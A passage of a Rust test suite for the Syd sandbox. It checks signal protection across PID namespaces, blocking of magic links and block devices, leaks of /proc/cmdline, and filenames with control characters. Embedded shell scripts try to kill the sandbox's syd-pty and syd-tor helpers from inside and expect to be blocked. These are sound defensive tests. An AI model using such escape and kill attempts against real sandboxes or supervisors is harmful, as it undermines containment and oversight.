// Syd allows signal 0 but kernel denies with EPERM.
env::set_var("SYD_TEST_TIMEOUT", "30s");
let status = syd()
.log("warn")
.p("off")
.do__("sigqueue")
.argv(["sh", "-cx", &format!("{} -1 0", *SYD_DO)])
.status()
.expect("execute syd");
env::set_var("SYD_TEST_TIMEOUT", &timeout);
assert_status_no_such_process!(status);
// sigqueue(sydpid,0) does not propagate to syd.
// ppid!=sydpid as of version 3.48.0:
// Syd no longer shares process group with sandbox process.
env::set_var("SYD_TEST_TIMEOUT", "30s");
let status = syd()
.log("warn")
.p("off")
.do__("sigqueue")
.argv(["sh", "-cx", &format!("{} ${{PPID}} 0", *SYD_DO)])
.status()
.expect("execute syd");
env::set_var("SYD_TEST_TIMEOUT", &timeout);
assert_status_permission_denied!(status);
// sigqueue(-sydpid,0) does not propagate to syd.
let status = syd()
.log("warn")
.p("off")
.do__("sigqueue")
.argv(["sh", "-cx", &format!("{} -${{PPID}} 0", *SYD_DO)])
.status()
.expect("execute syd");
env::set_var("SYD_TEST_TIMEOUT", &timeout);
assert_status_no_such_process!(status);
Ok(())
}
fn test_syd_exp_signal_protection_pidns_kill_all() -> TestResult {
skip_unless_unshare!("user", "mount", "pid");
let timeout = env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string());
let (maj, min) = *syd::config::KERNEL_VERSION;
let mut i = 0;
let big = libc::pid_t::MAX as u64 + 3;
let big = big.to_string();
let nig = format!("-{big}");
for sig in Signal::iterator() {
/*
* Processes by PID:
* 1: Syd process
* 2: Sandbox process
* 3: Syd monitor thread
* 1024: A valid process which doesn't exist.
* 0: Zero which is an invalid process ID.
* big: A positive number which is an invalid PID.
* nig: A negative number which is an invalid PID.
*/
for pid in [
"0", "1", "2", "3", "1024", &big, "-1", "-2", "-3", "-1024", &nig,
] {
let errno = match pid {
"0" if maj < 6 || (maj == 6 && min < 12) => EPERM,
"0" | "2" => 0,
"1" | "3" => EPERM,
_ => ESRCH,
};
i += 1;
env::set_var("SYD_TEST_TIMEOUT", "30s");
let status = syd()
.log("warn")
.p("off")
.m("unshare/user,pid:1")
.do_("kill", [pid, &format!("{}", sig as i32)])
.status()
.expect("execute syd");
env::set_var("SYD_TEST_TIMEOUT", &timeout);
if errno != 0 {
assert_status_code!(status, errno);
} else {
match sig {
Signal::SIGBUS
| Signal::SIGCHLD
| Signal::SIGCONT
| Signal::SIGSEGV
| Signal::SIGURG
| Signal::SIGWINCH => {
assert_status_ok!(status);
}
Signal::SIGSTOP | Signal::SIGTSTP | Signal::SIGTTIN | Signal::SIGTTOU => {
assert_status_killed!(status);
}
_ => {
assert_status_code!(status, 128 + sig as i32);
}
};
}
}
}
eprintln!("[!] {i} tests passed!");
Ok(())
}
fn test_syd_exp_signal_protection_pidns_sigqueue_all() -> TestResult {
skip_unless_unshare!("user", "mount", "pid");
let timeout = env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string());
let mut i = 0;
let big = libc::pid_t::MAX as u64 + 3;
let big = big.to_string();
let nig = format!("-{big}");
for sig in Signal::iterator() {
/*
* Processes by PID:
* 1: Syd process
* 2: Sandbox process
* 3: Syd monitor thread
* 1024: A valid process which doesn't exist.
* 0: Zero which is an invalid process ID.
* big: A positive number which is an invalid PID.
* nig: A negative number which is an invalid PID.
*/
for pid in [
"0", "1", "2", "3", "1024", &big, "-1", "-2", "-3", "-1024", &nig,
] {
let errno = match pid {
"2" => 0,
"1" | "3" => EPERM,
_ => ESRCH,
};
i += 1;
env::set_var("SYD_TEST_TIMEOUT", "30s");
let status = syd()
.log("warn")
.p("off")
.m("unshare/user,pid:1")
.do_("sigqueue", [pid, &format!("{}", sig as i32)])
.status()
.expect("execute syd");
env::set_var("SYD_TEST_TIMEOUT", &timeout);
if errno != 0 {
assert_status_code!(status, errno);
} else if pid != "2" {
assert_status_ok!(status);
} else {
match sig {
Signal::SIGBUS
| Signal::SIGCHLD
| Signal::SIGCONT
| Signal::SIGSEGV
| Signal::SIGURG
| Signal::SIGWINCH => {
assert_status_ok!(status);
}
Signal::SIGSTOP | Signal::SIGTSTP | Signal::SIGTTIN | Signal::SIGTTOU => {
assert_status_killed!(status);
}
_ => {
assert_status_code!(status, 128 + sig as i32);
}
};
}
}
}
eprintln!("[!] {i} tests passed!");
Ok(())
}
fn test_syd_exp_signal_protection_pidns_tkill_all() -> TestResult {
skip_unless_unshare!("user", "mount", "pid");
let timeout = env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string());
let (maj, min) = *syd::config::KERNEL_VERSION;
let mut i = 0;
let big = libc::pid_t::MAX as u64 + 3;
let big = big.to_string();
let nig = format!("-{big}");
for sig in Signal::iterator() {
/*
* Processes by PID:
* 1: Syd process
* 2: Sandbox process
* 3: Syd monitor thread
* 1024: A valid process which doesn't exist.
* 0: Zero which is an invalid process ID.
* big: A positive number which is an invalid PID.
* nig: A negative number which is an invalid PID.
*/
for tid in [
"0", "1", "2", "3", "1024", &big, "-1", "-2", "-3", "-1024", &nig,
] {
let errno = match tid {
"2" => 0,
"1" | "3" if maj < 6 || (maj == 6 && min < 12) => ESRCH,
"1" | "3" => EPERM,
"0" | "-1" | "-2" | "-3" | "-1024" => EINVAL,
p if p == big => EINVAL,
_ => ESRCH,
};
i += 1;
env::set_var("SYD_TEST_TIMEOUT", "30s");
let status = syd()
.log("warn")
.p("off")
.m("unshare/user,pid:1")
.do_("tkill", [tid, &format!("{}", sig as i32)])
.status()
.expect("execute syd");
env::set_var("SYD_TEST_TIMEOUT", &timeout);
if errno != 0 {
assert_status_code!(status, errno);
} else if tid != "2" {
assert_status_ok!(status);
} else {
match sig {
Signal::SIGBUS
| Signal::SIGCHLD
| Signal::SIGCONT
| Signal::SIGSEGV
| Signal::SIGURG
| Signal::SIGWINCH => {
assert_status_ok!(status);
}
Signal::SIGSTOP | Signal::SIGTSTP | Signal::SIGTTIN | Signal::SIGTTOU => {
assert_status_killed!(status);
}
_ => {
assert_status_code!(status, 128 + sig as i32);
}
};
}
}
}
eprintln!("[!] {i} tests passed!");
Ok(())
}
fn test_syd_exp_signal_protection_pidns_tgkill_all() -> TestResult {
skip_unless_unshare!("user", "mount", "pid");
let timeout = env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string());
let (maj, min) = *syd::config::KERNEL_VERSION;
let mut i = 0;
let big = libc::pid_t::MAX as u64 + 3;
let big = big.to_string();
let nig = format!("-{big}");
for sig in Signal::iterator() {
/*
* Processes by PID:
* 1: Syd process
* 2: Sandbox process
* 3: Syd monitor thread
* 1024: A valid process which doesn't exist.
* 0: Zero which is an invalid process ID.
* big: A positive number which is an invalid PID.
* nig: A negative number which is an invalid PID.
*/
for tgid in [
"0", "1", "2", "3", "1024", &big, "-1", "-2", "-3", "-1024", &nig,
] {
for tid in [
"0", "1", "2", "3", "1024", &big, "-1", "-2", "-3", "-1024", &nig,
] {
let errno = match (tgid, tid) {
("2", "2") => 0,
("0" | "-1" | "-2" | "-3" | "-1024", _) => EINVAL,
(_, "0" | "-1" | "-2" | "-3" | "-1024") => EINVAL,
(p, _) if p == big => EINVAL,
(_, p) if p == big => EINVAL,
("1", "1" | "3") if maj < 6 || (maj == 6 && min < 12) => ESRCH,
("1", "1" | "3") => EPERM,
_ => ESRCH,
};
i += 1;
env::set_var("SYD_TEST_TIMEOUT", "30s");
let status = syd()
.log("warn")
.p("off")
.m("unshare/user,pid:1")
.do_("tgkill", [tgid, tid, &format!("{}", sig as i32)])
.status()
.expect("execute syd");
env::set_var("SYD_TEST_TIMEOUT", &timeout);
if errno != 0 {
assert_status_code!(status, errno);
} else if !(tgid == "2" && tid == "2") {
assert_status_ok!(status);
} else {
match sig {
Signal::SIGBUS
| Signal::SIGCHLD
| Signal::SIGCONT
| Signal::SIGSEGV
| Signal::SIGURG
| Signal::SIGWINCH => {
assert_status_ok!(status);
}
Signal::SIGSTOP | Signal::SIGTSTP | Signal::SIGTTIN | Signal::SIGTTOU => {
assert_status_killed!(status);
}
_ => {
assert_status_code!(status, 128 + sig as i32);
}
};
}
}
}
}
eprintln!("[!] {i} tests passed!");
Ok(())
}
fn test_syd_exp_signal_protection_pidns_tgsigqueue_all() -> TestResult {
skip_unless_unshare!("user", "mount", "pid");
let timeout = env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string());
let (maj, min) = *syd::config::KERNEL_VERSION;
let mut i = 0;
let big = libc::pid_t::MAX as u64 + 3;
let big = big.to_string();
let nig = format!("-{big}");
for sig in Signal::iterator() {
/*
* Processes by PID:
* 1: Syd process
* 2: Sandbox process
* 3: Syd monitor thread
* 1024: A valid process which doesn't exist.
* 0: Zero which is an invalid process ID.
* big: A positive number which is an invalid PID.
* nig: A negative number which is an invalid PID.
*/
for tgid in [
"0", "1", "2", "3", "1024", &big, "-1", "-2", "-3", "-1024", &nig,
] {
for tid in [
"0", "1", "2", "3", "1024", &big, "-1", "-2", "-3", "-1024", &nig,
] {
let errno = match (tgid, tid) {
("2", "2") => 0,
("0" | "-1" | "-2" | "-3" | "-1024", _) => EINVAL,
(_, "0" | "-1" | "-2" | "-3" | "-1024") => EINVAL,
(p, _) if p == big => EINVAL,
(_, p) if p == big => EINVAL,
("1", "1" | "3") if maj < 6 || (maj == 6 && min < 12) => ESRCH,
("1", "1" | "3") => EPERM,
_ => ESRCH,
};
i += 1;
env::set_var("SYD_TEST_TIMEOUT", "30s");
let status = syd()
.log("warn")
.p("off")
.m("unshare/user,pid:1")
.do_("tgsigqueue", [tgid, tid, &format!("{}", sig as i32)])
.status()
.expect("execute syd");
env::set_var("SYD_TEST_TIMEOUT", &timeout);
if errno != 0 {
assert_status_code!(status, errno);
} else if !(tgid == "2" && tid == "2") {
assert_status_ok!(status);
} else {
match sig {
Signal::SIGBUS
| Signal::SIGCHLD
| Signal::SIGCONT
| Signal::SIGSEGV
| Signal::SIGURG
| Signal::SIGWINCH => {
assert_status_ok!(status);
}
Signal::SIGSTOP | Signal::SIGTSTP | Signal::SIGTTIN | Signal::SIGTTOU => {
assert_status_killed!(status);
}
_ => {
assert_status_code!(status, 128 + sig as i32);
}
};
}
}
}
}
eprintln!("[!] {i} tests passed!");
Ok(())
}
fn test_syd_signal_protection_simple_landlock() -> TestResult {
skip_unless_landlock_abi_supported!(6);
skip_unless_available!("bash", "kill");
let status = syd()
.p("off")
.argv(["bash", "-cx"])
.arg(
r#"
pid=$PPID
r=0
# Dummy signal is NOT permitted.
kill -0 ${pid} && exit 1
# No other signals are permitted.
# syd denies with errno=EACCES.
for sig in INT ABRT STOP KILL; do
kill -${sig} ${pid} && r=1
sleep 1
done
exit $r
"#,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_signal_protection_simple_killprot() -> TestResult {
skip_unless_available!("bash", "kill");
skip_unless_trusted!();
// Landlock ABI-6 is new in Linux>=6.12.
let status = syd()
.p("off")
.env("SYD_ASSUME_KERNEL", "5.19")
.argv(["bash", "-cx"])
.arg(
r#"
pid=$PPID
r=0
# Dummy signal is NOT permitted.
kill -0 ${pid} && exit 1
# No other signals are permitted.
# syd denies with errno=EACCES.
for sig in INT ABRT STOP KILL; do
kill -${sig} ${pid} && r=1
sleep 1
done
exit $r
"#,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_signal_protection_killpg_0_landlock() -> TestResult {
skip_unless_landlock_abi_supported!(6);
// killpg(exec process) does not propagate to Syd.
let status = syd()
.p("off")
.do_("kill", ["0", "9"])
.status()
.expect("execute syd");
assert_status_killed!(status);
Ok(())
}
fn test_syd_signal_protection_killpg_0_killprot_default() -> TestResult {
skip_unless_trusted!();
// killpg(exec process) does not propagate to Syd.
//
// Landlock ABI-6 is new in Linux>=6.12.
let status = syd()
.p("off")
.env("SYD_ASSUME_KERNEL", "5.19")
.do_("kill", ["0", "9"])
.status()
.expect("execute syd");
assert_status_permission_denied!(status);
Ok(())
}
fn test_syd_signal_protection_killpg_0_killprot_unsafe() -> TestResult {
skip_unless_trusted!();
// killpg(exec process) does not propagate to Syd.
//
// Landlock ABI-6 is new in Linux>=6.12.
let status = syd()
.p("off")
.env("SYD_ASSUME_KERNEL", "5.19")
.do_("kill", ["0", "9"])
.status()
.expect("execute syd");
assert_status_permission_denied!(status);
Ok(())
}
fn test_syd_signal_protection_killpg_self_landlock() -> TestResult {
skip_unless_landlock_abi_supported!(6);
let status = syd()
.p("off")
.do_("killpg_self", ["0"])
.status()
.expect("execute syd");
assert_status_ok!(status);
let status = syd()
.p("off")
.do_("killpg_self", ["9"])
.status()
.expect("execute syd");
assert_status_killed!(status);
Ok(())
}
fn test_syd_signal_protection_killpg_self_killprot_default() -> TestResult {
skip_unless_trusted!();
// Landlock ABI-6 is new in Linux>=6.12.
let status = syd()
.p("off")
.env("SYD_ASSUME_KERNEL", "5.19")
.do_("killpg_self", ["0"])
.status()
.expect("execute syd");
assert_status_no_such_process!(status);
let status = syd()
.p("off")
.env("SYD_ASSUME_KERNEL", "5.19")
.do_("killpg_self", ["9"])
.status()
.expect("execute syd");
assert_status_no_such_process!(status);
Ok(())
}
fn test_syd_signal_protection_killpg_self_killprot_unsafe() -> TestResult {
skip_unless_trusted!();
// Landlock ABI-6 is new in Linux>=6.12.
let status = syd()
.p("off")
.env("SYD_ASSUME_KERNEL", "5.19")
.do_("killpg_self", ["0"])
.status()
.expect("execute syd");
assert_status_no_such_process!(status);
let status = syd()
.p("off")
.env("SYD_ASSUME_KERNEL", "5.19")
.do_("killpg_self", ["9"])
.status()
.expect("execute syd");
assert_status_no_such_process!(status);
Ok(())
}
fn test_syd_signal_protection_killpg_syd_landlock() -> TestResult {
skip_unless_landlock_abi_supported!(6);
skip_unless_available!("bash");
// kill(-sydpid) does not propagate to syd.
let status = syd()
.p("off")
.do__("kill")
.argv(["bash", "-cx", &format!("{} -${{PPID}} 9", *SYD_DO)])
.status()
.expect("execute syd");
assert_status_no_such_process!(status);
Ok(())
}
fn test_syd_signal_protection_killpg_syd_killprot_default() -> TestResult {
skip_unless_available!("bash");
skip_unless_trusted!();
// kill(-sydpid) does not propagate to syd.
//
// Landlock ABI-6 is new in Linux>=6.12.
let status = syd()
.p("off")
.env("SYD_ASSUME_KERNEL", "5.19")
.do__("kill")
.argv(["bash", "-cx", &format!("{} -${{PPID}} 9", *SYD_DO)])
.status()
.expect("execute syd");
// syd denies with errno=ESRCH (consistent with landlock).
assert_status_no_such_process!(status);
Ok(())
}
fn test_syd_signal_protection_killpg_syd_killprot_unsafe() -> TestResult {
skip_unless_available!("bash");
skip_unless_trusted!();
// kill(-sydpid) does not propagate to syd.
//
// Landlock ABI-6 is new in Linux>=6.12.
let status = syd()
.p("off")
.env("SYD_ASSUME_KERNEL", "5.19")
.do__("kill")
.argv(["bash", "-cx", &format!("{} -${{PPID}} 9", *SYD_DO)])
.status()
.expect("execute syd");
// syd denies with errno=ESRCH (consistent with landlock).
assert_status_no_such_process!(status);
Ok(())
}
fn test_syd_signal_protection_mass_0_landlock() -> TestResult {
skip_unless_landlock_abi_supported!(6);
// mass signaling is not permitted with signal=0.
let status = syd()
.p("off")
.do_("kill", ["-1", "0"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_signal_protection_mass_0_killprot_default() -> TestResult {
skip_unless_trusted!();
// mass signaling is not permitted with signal=0.
//
// Landlock ABI-6 is new in Linux>=6.12.
let status = syd()
.p("off")
.env("SYD_ASSUME_KERNEL", "5.19")
.do_("kill", ["-1", "0"])
.status()
.expect("execute syd");
assert_status_no_such_process!(status);
Ok(())
}
fn test_syd_signal_protection_mass_0_killprot_unsafe() -> TestResult {
skip_unless_trusted!();
// mass signaling is not permitted with signal=0.
//
// Landlock ABI-6 is new in Linux>=6.12.
let status = syd()
.p("off")
.env("SYD_ASSUME_KERNEL", "5.19")
.do_("kill", ["-1", "0"])
.status()
.expect("execute syd");
assert_status_no_such_process!(status);
Ok(())
}
fn test_syd_signal_protection_mass_int_landlock() -> TestResult {
skip_unless_landlock_abi_supported!(6);
skip_unless_unshare!("user", "mount", "pid");
// mass signaling is not permitted.
let status = syd()
.p("off")
.m("unshare/user,pid:1")
.do_("kill", ["-1", "2"])
.status()
.expect("execute syd");
assert_status_no_such_process!(status);
Ok(())
}
fn test_syd_signal_protection_mass_int_killprot_default() -> TestResult {
skip_unless_unshare!("user", "mount", "pid");
skip_unless_trusted!();
// mass signaling is not permitted.
//
// Landlock ABI-6 is new in Linux>=6.12.
let status = syd()
.p("off")
.env("SYD_ASSUME_KERNEL", "5.19")
.m("unshare/user,pid:1")
.do_("kill", ["-1", "2"])
.status()
.expect("execute syd");
assert_status_no_such_process!(status);
Ok(())
}
fn test_syd_signal_protection_mass_int_killprot_unsafe() -> TestResult {
skip_unless_unshare!("user", "mount", "pid");
skip_unless_trusted!();
// Mass signaling is not permitted.
//
// Landlock ABI-6 is new in Linux>=6.12.
let status = syd()
.p("off")
.env("SYD_ASSUME_KERNEL", "5.19")
.m("unshare/user,pid:1")
.do_("kill", ["-1", "2"])
.status()
.expect("execute syd");
assert_status_no_such_process!(status);
Ok(())
}
fn test_syd_signal_protection_pty() -> TestResult {
skip_unless_available!("cat", "kill", "pgrep", "ps", "sh");
skip_unless_stdin_is_a_tty!();
skip_unless_stdout_is_a_tty!();
skip_unless_trusted!();
// Landlock ABI-6 is new in Linux>=6.12.
let status = syd()
.env("SYD_ASSUME_KERNEL", "5.19")
.p("off")
.m("sandbox/pty:on")
.m("trace/allow_unsafe_magiclinks:1")
.stdin(Stdio::inherit())
.argv(["sh", "-c"])
.arg(
r#"
pid=$(pgrep syd-pty)
if test -z "$pid"; then
echo >&2 "[!] failed to determine pid of syd-pty."
exit 127
fi
echo >&2 "[*] Attempting to kill syd-pty from inside sandbox."
if kill -KILL "$pid"; then
echo >&2 "[!] Sandbox process successfully killed syd-pty!"
exit 127
fi
echo >&2 "[*] Kill blocked as expected."
pgid=$(ps -o pgid= -p "$pid")
if test -z "$pgid"; then
echo >&2 "[!] failed to determine pgid of syd-pty."
exit 127
fi
echo >&2 "[*] Attempting to kill syd-pty from inside sandbox."
if kill -KILL "$pgid"; then
echo >&2 "[!] Sandbox process successfully killed syd-pty!"
exit 127
fi
echo >&2 "[*] Kill blocked as expected."
"#,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_signal_protection_tor() -> TestResult {
skip_unless_unshare!("user", "net");
skip_unless_available!("cat", "grep", "kill", "pgrep", "ps", "sed", "sh", "shuf", "socat");
skip_unless_trusted!();
let syd = &SYD.to_string();
let syd_pds = &SYD_PDS.to_string();
// Landlock ABI-6 is new in Linux>=6.12.
let status = Command::new("timeout")
.arg("-sKILL")
.arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("10m".to_string()))
.arg("sh")
.arg("-ce")
.arg(format!(
r##"
:>log
echo >&2 "[*] Spawning socat to listen on 127.0.0.1!0 in the background."
set -x
{syd_pds} socat -u -d -d TCP4-LISTEN:0,bind=127.0.0.1,fork OPEN:/dev/null,wronly 2>log &
set +x
echo >&2 "[*] Waiting for background socat to start listening..."
while ! grep -q listening log; do :; done
SYD_TEST_TOR_PORT=$(grep 'listening on' log | sed -n 's/.*:\([0-9][0-9]*\)$/\1/p')
echo >&2 "[*] Background socat is listening on port $SYD_TEST_TOR_PORT!"
echo >&2 "[*] Booting syd with network and proxy sandboxing on."
set -x
env SYD_ASSUME_KERNEL=5.19 SYD_LOG=${{SYD_LOG:-info}} {syd} -poff -pP -munshare/user:1 \
-msandbox/net:on \
-m'allow/net/bind+!unnamed' \
-m'allow/net/connect+127.0.0.1!9050' \
-msandbox/proxy:on -mproxy/ext/port:$SYD_TEST_TOR_PORT \
-mtrace/allow_unsafe_magiclinks:1 \
-- sh -c '
pid=$(pgrep syd-tor)
if test -z "$pid"; then
echo >&2 "[!] failed to determine pid of syd-tor."
exit 127
fi
echo >&2 "[*] Attempting to kill syd-tor from inside sandbox."
if kill -KILL "$pid"; then
echo >&2 "[!] Sandbox process successfully killed syd-tor!"
exit 127
fi
echo >&2 "[*] Kill blocked as expected."
pgid=$(ps -o pgid= -p "$pid")
if test -z "$pgid"; then
echo >&2 "[!] failed to determine pgid of syd-tor."
exit 127
fi
echo >&2 "[*] Attempting to kill syd-tor from inside sandbox."
if kill -KILL "$pgid"; then
echo >&2 "[!] Sandbox process successfully killed syd-tor!"
exit 127
fi
echo >&2 "[*] Kill blocked as expected."
'
"##
))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
fn test_syd_exp_emulate_open_fifo() -> TestResult {
skip_unless_available!("sh");
let status = syd()
.p("off")
.m("sandbox/read,stat,write,create,truncate,mkfifo:on")
.m("allow/read,stat,write,create,truncate,mkfifo+/***")
.do_("emulate_open_fifo", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_interrupt_fifo_eintr_linux() -> TestResult {
let status = Command::new(&*SYD_DO)
.env("SYD_TEST_DO", "interrupt_fifo")
.status()
.expect("execute syd-test-do");
assert_status_interrupted!(status);
Ok(())
}
fn test_syd_interrupt_fifo_eintr_syd() -> TestResult {
let status = syd()
.p("off")
.do_("interrupt_fifo", NONE)
.status()
.expect("execute syd");
assert_status_interrupted!(status);
Ok(())
}
fn test_syd_interrupt_fifo_restart_linux() -> TestResult {
let sa_flags = SaFlags::SA_RESTART.bits();
let status = Command::new(&*SYD_DO)
.env("SYD_TEST_DO", "interrupt_fifo")
.env("SYD_TEST_FIFO_SAFLAGS", sa_flags.to_string())
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_interrupt_fifo_restart_syd() -> TestResult {
let sa_flags = SaFlags::SA_RESTART.bits();
let status = syd()
.env("SYD_TEST_FIFO_SAFLAGS", sa_flags.to_string())
.p("off")
.do_("interrupt_fifo", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_interrupt_fifo_oneshot_eintr_linux() -> TestResult {
let status = Command::new(&*SYD_DO)
.env("SYD_TEST_DO", "interrupt_fifo_oneshot")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_interrupt_fifo_oneshot_eintr_syd() -> TestResult {
let status = syd()
.p("off")
.do_("interrupt_fifo_oneshot", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_interrupt_fifo_oneshot_restart_linux() -> TestResult {
let sa_flags = SaFlags::SA_RESTART.bits();
let status = Command::new(&*SYD_DO)
.env("SYD_TEST_DO", "interrupt_fifo_oneshot")
.env("SYD_TEST_FIFO_SAFLAGS", sa_flags.to_string())
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_interrupt_fifo_oneshot_restart_syd() -> TestResult {
let sa_flags = SaFlags::SA_RESTART.bits();
let status = syd()
.env("SYD_TEST_FIFO_SAFLAGS", sa_flags.to_string())
.p("off")
.do_("interrupt_fifo_oneshot", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_interrupt_pthread_sigmask() -> TestResult {
let status = syd()
.p("off")
.do_("pthread_sigmask", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_interrupt_kill() -> TestResult {
skip_if_landlock_abi_supported!(6);
skip_if_32bin_64host!();
skip_unless_available!("cat", "cc", "sh");
if !build_kill_eintr() {
eprintln!("Failed to build kill-eintr code, skipping test!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(()); // Skip test.
}
let status = syd()
.p("fs")
.m("allow/all+/***")
.arg("./kill-eintr")
.status()
.expect("execute syd");
assert_status_interrupted!(status);
Ok(())
}
fn test_syd_deny_magiclinks() -> TestResult {
skip_unless_unshare!("user", "mount", "pid");
// Check protections with stat sandboxing off.
eprintln!("\x1b[36m<<< lib >>>\x1b[0m");
let status = syd()
.p("off")
.m("unshare/user:1")
.m("unshare/pid:1")
.do_("deny_magiclinks", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
// Check protections with stat sandboxing off and lock on.
eprintln!("\x1b[36m<<< lib with lock on >>>\x1b[0m");
let status = syd()
.p("off")
.m("unshare/user:1")
.m("unshare/pid:1")
.m("lock:on")
.do_("deny_magiclinks", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_open_magiclinks_1() -> TestResult {
skip_unless_unshare!("user", "mount", "pid");
// Check protections with read+stat sandboxing off.
let status = syd()
.p("off")
.m("unshare/user,pid:1")
.do_("open_magiclinks", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_open_magiclinks_2() -> TestResult {
skip_unless_unshare!("user", "mount", "pid");
// Check protections with read+stat sandboxing off and lock:exec.
let status = syd()
.p("off")
.m("lock:exec")
.m("unshare/user,pid:1")
.m("lock:on")
.do_("open_magiclinks", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_open_magiclinks_3() -> TestResult {
skip_unless_unshare!("user", "mount", "pid");
// Check protections with read+stat sandboxing on.
let status = syd()
.p("off")
.m("sandbox/read,stat:on")
.m("allow/read,stat+/***")
.m("unshare/user,pid:1")
.do_("open_magiclinks", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_open_magiclinks_4() -> TestResult {
skip_unless_unshare!("user", "mount", "pid");
// Check protections with read+stat sandboxing on and lock:exec.
let status = syd()
.p("off")
.m("lock:exec")
.m("sandbox/read,stat:on")
.m("allow/read,stat+/***")
.m("unshare/user,pid:1")
.do_("open_magiclinks", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_lstat_magiclinks() -> TestResult {
skip_unless_unshare!("user", "mount", "pid");
// Check protections with stat sandboxing off.
let status = syd()
.m("allow/all+/***")
.m("sandbox/lock:off")
.m("unshare/user,pid:1")
.do_("lstat_magiclinks", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
// Check protections with stat sandboxing on.
let status = syd()
.m("allow/all+/***")
.m("sandbox/lock:off")
.m("sandbox/lpath:on")
.m("unshare/user,pid:1")
.do_("lstat_magiclinks", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_access_unsafe_paths_per_process_default() -> TestResult {
// Check protections with the Linux profile.
let status = syd()
.p("linux")
.m("sandbox/lock:off")
.m("allow/exec,stat,walk+/***")
.do_("access_unsafe_paths_per_process", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_access_unsafe_paths_per_process_sydinit() -> TestResult {
skip_unless_unshare!("user", "mount", "pid");
// Check protections with the Linux profile.
let status = syd()
.p("linux")
.m("unshare/user,pid:1")
.m("sandbox/lock:off")
.m("allow/exec,stat,walk+/***")
.do_("access_unsafe_paths_per_process", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_prevent_block_device_access() -> TestResult {
eprintln!("[*] Looking for a block device under /dev...");
let dev = match grep(XPath::from_bytes(b"/dev"), b"!") {
Some(mut name) => {
name.truncate(name.len() - 1);
XPathBuf::from(format!("/dev/{name}"))
}
None => {
eprintln!("No block device found under /dev, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
};
eprintln!("[*] Running tests with {dev}...");
eprintln!("[*] Attempting to open {dev} with O_PATH outside Syd...");
let status = Command::new(&*SYD_DO)
.env("SYD_TEST_DO", "open_path")
.arg(&dev)
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
eprintln!("[*] Attempting to open {dev} with O_PATH inside Syd...");
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/read,stat,walk,write,create,exec+/***")
.do_("open_path", &[dev])
.status()
.expect("execute syd");
assert_status_hidden!(status);
Ok(())
}
fn test_syd_access_proc_cmdline() -> TestResult {
skip_unless_available!("cat", "sh");
let status = syd()
.p("off")
.argv(["sh", "-cx"])
.arg(
r#"
cmdline=$(cat /proc/cmdline)
if test -n "$cmdline"; then
echo >&2 "/proc/cmdline leaked with sandboxing off."
false
else
echo >&2 "/proc/cmdline is empty as expected."
true
fi
"#,
)
.status()
.expect("execute syd");
assert_status_code!(status, 1);
Ok(())
}
fn test_syd_mkdir_with_control_chars_default() -> TestResult {
skip_unless_available!("bash");
let status = syd()
.p("off")
.m("sandbox/stat,walk,mkdir:on")
.m("allow/stat,walk,mkdir+/***")
.argv(["bash", "-cx"])
.arg(
r##"
#!/bin/bash
r=0
mkdir mccd || exit 127
mkdir $'./mccd/test_alert_dir\a' && r=1
test -e $'./mccd/test_alert_dir\a' && r=2
mkdir $'./mccd/test_vertical_tab_dir\v' && r=3
test -e $'./mccd/test_vertical_tab_dir\v' && r=4
mkdir $'./mccd/test_form_feed_dir\f' && r=5
test -e $'./mccd/test_form_feed_dir\f' && r=6
mkdir $'./mccd/test_multi_control_dir\x01\x02\x03' && r=7
test -e $'./mccd/test_multi_control_dir\x01\x02\x03' && r=8
mkdir $'./mccd/test_\x1F_unit_sep_dir' && r=9
test -e $'./mccd/test_\x1F_unit_sep_dir' && r=10
exit $r
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_mkdir_with_control_chars_unsafe() -> TestResult {
skip_unless_available!("bash");
let status = syd()
.p("off")
.m("trace/allow_unsafe_filename:1")
.m("sandbox/read,stat,write,create:on")
.m("allow/read,stat,write,create+/***")
.argv(["bash", "-cx"])
.arg(
r##"
#!/bin/bash
r=0
mkdir mccu || exit 127
mkdir $'./mccu/test_alert_dir\a' || r=1
test -e $'./mccu/test_alert_dir\a' || r=2
